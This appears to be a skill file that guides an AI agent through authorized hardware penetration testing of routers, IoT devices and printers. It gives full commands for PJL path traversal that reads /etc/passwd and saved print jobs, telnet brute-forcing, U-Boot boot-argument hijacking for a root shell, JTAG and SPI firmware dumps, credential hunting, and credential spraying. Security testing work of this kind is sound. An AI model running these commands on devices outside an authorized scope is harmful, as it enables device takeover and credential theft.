Hardware Technique

Hardware Technique

Goal: gain privileged access to an embedded or peripheral device, extract and analyze its firmware, and identify actionable vulnerabilities — within authorized scope and with minimum physical damage risk.

When this technique applies

• Black-box assessment of a router, IoT gateway, industrial panel, smart appliance, or custom embedded board.
• Physical access to a printer, kiosk, ATM, or network appliance for red team validation.
• Post-procurement firmware analysis of a device before deployment.
• Red team scenario requiring extraction of credentials, keys, or configuration from a physical device.
• Authorized printer/peripheral exploitation via network-exposed management protocols.

Boundary with other skills

• RF and wireless: signal capture, SDR, Wi-Fi, BLE → wireless-technique.
• ICS field protocols: Modbus, DNP3, S7, EtherNet/IP exploitation → ics-technique.
• CTF lab hardware tasks: .sal captures, challenge firmware, CTF framing → hardware-ctf.
• Firmware static/dynamic reversing: deep binary analysis after extraction → reversing-technique.
• Physical evidence handling: forensic acquisition → forensic-technique.

Initial triage

Before touching hardware, classify the attack surface and choose the least invasive path.

• Network before physical: can the objective be reached via a network-exposed management interface (PJL, Telnet, HTTP admin, SSH) before opening the device?
• Console vs JTAG vs flash: UART console is reversible and non-destructive; JTAG halts the processor; direct flash read is offline but risks pad damage.
• First questions: what OS/firmware is running, is a bootloader accessible, is there a serial header on the PCB, what management protocols are exposed on the network?
• Escalation rule: prefer non-invasive paths (network interface, UART monitor) before destructive paths (direct flash read, JTAG force-halt).

Agent operating model

Loop:
  1. Enumerate attack surface — network services, PCB headers, debug pads, firmware version.
  2. Choose entry path — network management, UART console, JTAG, or direct flash.
  3. Gain access or dump firmware.
  4. Analyze: extract filesystem, find credentials/keys, identify vulnerabilities.
  5. Escalate or pivot as scoped.

Stop when: objective achieved, all paths exhausted, or scope boundary reached.

Phase 1 — Network-exposed management interfaces

Attempt before physical access. Many embedded devices expose exploitable management protocols over the network.

Printer and peripheral protocol attacks (PJL)

PJL (Printer Job Language) is exposed on TCP 9100 or via HTTP-based printer management consoles.

# Network discovery
nmap -p 9100,515,631 <target>

# PJL filesystem enumeration via raw TCP or HTTP POST form
echo '@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535' | nc <target> 9100

# Read a file via PJL FSUPLOAD (OFFSET and SIZE both required by HP spec)
echo '@PJL FSQUERY NAME="0:/webServer/default/csconfig"' | nc <target> 9100    # get size first
echo '@PJL FSUPLOAD NAME="0:/webServer/default/csconfig" OFFSET=0 SIZE=4520' | nc <target> 9100

# Path traversal: 0: maps to /printer or /hpmnt on the host
echo '@PJL FSUPLOAD NAME="0:/../../etc/passwd" OFFSET=0 SIZE=65535' | nc <target> 9100

# List saved print jobs — @PJL COMMENT / @PJL SET fields often carry cleartext creds or PINs
echo '@PJL FSDIRLIST NAME="0:/../../home/default/" ENTRY=1 COUNT=50' | nc <target> 9100
echo '@PJL FSUPLOAD NAME="0:/../../home/default/readyjob" OFFSET=0 SIZE=65535' | nc <target> 9100

Key PJL targets after traversal:

• /home/default/readyjob — JetDirect boot job; may contain cleartext credentials or PIN in @PJL COMMENT / @PJL SET fields.
• /etc/passwd, /etc/shadow — device user accounts.
• App config files and embedded web server assets.

Telnet / SSH / default credentials

nmap -sV -p 22,23,80,443,8080,8443 <target>
# Common defaults: admin:admin, admin:password, root:root, root:(empty)
hydra -l admin -P /usr/share/wordlists/common-passwords.txt telnet://<target>

Embedded HTTP admin

curl -sv http://<target>/
nikto -h http://<target>
# Common paths: /cgi-bin/info.cgi, /admin/config, /etc/passwd (traversal)

Phase 2 — UART serial console

UART is the most common non-invasive physical entry point. A root shell via UART is typically non-destructive and reversible.

Identify UART pins

PCB inspection:
  1. Locate 3–4 unpopulated through-holes or test pads near the SoC.
  2. Measure voltage: VCC (~3.3 V or 5 V), GND (0 V), TX (idle HIGH), RX (high-impedance).
  3. Use a multimeter or logic analyzer to confirm: TX toggles during boot.
  4. Common layout: GND–TX–RX–VCC or VCC–TX–RX–GND.
  5. JTAGulator can auto-scan up to 24 channels — saves time on dense boards.

Connect and identify baud rate

# Connect USB-UART adapter: TX→RX, RX→TX, GND→GND
# Do NOT connect VCC if device is self-powered

# Try common baud rates: 115200, 57600, 38400, 19200, 9600
screen /dev/ttyUSB0 115200
# or
minicom -D /dev/ttyUSB0 -b 115200
# If garbled: cycle through rates

Boot console exploitation

Watch during boot for:
  - U-Boot / Barebox prompt ("Hit any key to stop autoboot" — press key immediately)
  - Kernel cmdline showing root filesystem and init path
  - Login prompt (try root with no password, or common defaults)

U-Boot useful commands:
  printenv         — dump all env vars (may expose credentials, signing keys, boot args)
  md 0x80000000    — memory dump at address
  setenv bootargs  — modify kernel cmdline before boot
  boot             — resume

Modify boot args for shell access

# In U-Boot: override init to drop to shell before OS init
setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh'
boot
# Result: root shell before any authentication

Secure boot bypass (when U-Boot has verified boot)

When signature verification is enabled:

• Read signing key material from NAND/SPI flash (often stored unprotected even on secure-boot devices).
• Patch U-Boot environment to disable CONFIG_SECUREBOOT checks (requires flash write).
• Fault injection via voltage glitching on VCC rail during signature check window.
• Check for downgrade attacks: sign a vulnerable older bootloader if key rotates late.

Phase 3 — JTAG / SWD debug interface

Use when UART is unavailable or the boot sequence cannot be interrupted.

Identify JTAG pins non-destructively

Standard ARM JTAG: TCK, TMS, TDI, TDO, nTRST, nSRST, GND, VCC
Compact: JTAG-10, ARM-SWD-10, TAG-Connect
JTAGulator: auto-scan up to 24 channels for JTAG/UART pins

OpenOCD — connect and dump memory

openocd -f interface/ftdi/olimex-arm-usb-ocd-h.cfg -f target/stm32f4x.cfg

# telnet localhost 4444:
halt
mdw 0x08000000 256                          # dump flash as 32-bit words
dump_image firmware.bin 0x08000000 0x100000 # dump 1 MB
resume

Phase 4 — SPI / NAND flash direct dump

Use when device boots from external SPI flash and other paths are blocked.

# Identify flash chip (read markings on PCB: Winbond W25Q*, Macronix MX25L*, GigaDevice GD25Q*)
# In-circuit dump (device powered off, clip on flash IC)
flashrom -p ch341a_spi -r firmware.bin

# Verify — read twice and compare hashes
flashrom -p ch341a_spi -r firmware2.bin
md5sum firmware.bin firmware2.bin   # must match before any write

Phase 5 — Firmware analysis

# Identify
file firmware.bin
binwalk firmware.bin

# Extract
binwalk -Me firmware.bin

# Credential and key hunting
grep -r "password\|passwd\|secret\|api_key\|private_key\|BEGIN " _firmware.bin.extracted/ 2>/dev/null
find . -name "shadow" -o -name "*.pem" -o -name "*.key" 2>/dev/null

# Architecture identification for disassembly handoff
file _firmware.bin.extracted/squashfs-root/bin/busybox
# → MIPS/ARM/ARC → reversing-technique for binary analysis

Key artifacts:

• /etc/passwd, /etc/shadow — crack offline with hashcat/john.
• /etc/config/ — OpenWrt-style config with credentials.
• Web server config — hardcoded credentials, API keys.
• Init scripts — startup sequence, privileged operations, service ports.
• TLS certificates/private keys — may be device-wide or model-wide (shared across all units).

Phase 6 — Embedded OS post-exploitation

# Survey
uname -a; id; cat /etc/passwd; mount; netstat -tlnp 2>/dev/null || ss -tlnp; ps aux || ps

# Credential extraction
cat /etc/shadow 2>/dev/null
find / -name "*.conf" -o -name "*.cfg" 2>/dev/null | xargs grep -l "pass\|key\|secret" 2>/dev/null

# Persistence locations
ls /etc/init.d/ /etc/rc.d/ /etc/crontab 2>/dev/null

Pivot paths:

• Extract credentials → spray on adjacent network services.
• Read config → find VPN keys, API tokens, upstream credentials.
• Device certificate → impersonate device on PKI-authenticated network.

Quality gates

• Voltage verified before connecting any probe.
• Flash dump: two independent reads match (md5) before any write.
• JTAG: lab target confirmed; recovery path (JTAG reflash) documented before halting.
• Network management path attempted before physical access.
• All extracted credentials and keys handled per engagement rules of engagement.

Anti-patterns

• Connecting probes without verifying voltage domain — destroys hardware.
• Starting JTAG write or flash modification on a production device without lab-equivalent risk assessment.
• Trusting a single flash read without verification.
• Skipping network management path — it is fastest, safest, and often sufficient.

Resources

• references/serial-console-attacks.md — UART pin identification, baud rate brute-force, U-Boot exploitation, boot arg hijack, secure boot bypass patterns.
• references/firmware-extraction.md — SPI/NAND dump workflow, flashrom usage, binwalk extraction, filesystem triage, credential and key hunting in extracted images.
• references/jtag-swd-attacks.md — JTAG/SWD pin identification, OpenOCD setup, memory dump patterns, fault injection scope.
• references/peripheral-protocol-attacks.md — PJL filesystem traversal, Telnet/SSH defaults, embedded HTTP admin exploitation, printer NVRAM and job-data extraction.